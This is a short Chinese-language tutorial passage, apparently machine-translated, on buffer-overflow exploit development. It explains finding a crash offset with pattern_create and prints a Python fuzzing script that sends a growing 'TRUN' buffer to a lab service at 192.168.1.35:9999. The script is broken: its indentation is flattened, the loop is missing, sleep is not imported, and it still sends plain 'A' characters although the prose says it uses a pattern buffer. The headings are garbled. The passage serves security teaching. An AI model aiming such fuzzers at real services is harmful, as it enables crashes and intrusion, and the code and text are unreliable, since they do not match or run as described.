通过创建图案查找偏移量

现在我们知道了与 fuzzing 程序的偏移量,我们可以使用 pattern create 来帮助微调我们的漏洞利用脚本和有效负载。

**!参见模式创建
(相对)
模式创建 (GitHub 存储库)

查找 确切 地址

现在我们已经使用 pattern_create 创建了一个缓冲区字符串,我们可以将模糊测试脚本复制粘贴到新脚本中(当我们对其进行微调时,它将成为我们的漏洞利用程序)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import sys, socket

# Create the buffer of 'A' characters
buffer = "A" * 100

try:
# Build the payload by appending the TRUN command to the buffer
payload = "TRUN /.:/" + buffer

# Create, open, and connect to the socket (connecting to target)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.1.35',9999))

# Send the payload to target
print ("[+] Sending the payload...\n" + str(len(buffer)))
s.send(payload)

# Close connection and what 1 second
s.close()
sleep(1)

# (if we haven't crashed) increase buffer length by 100 bytes & try again
buffer = buffer + "A"*100
except:
# When the target crashes, print the number of bytes it took
print ("The fuzzing crashed at %s bytes" % str(len(buffer)))
sys.exit()

[!资源]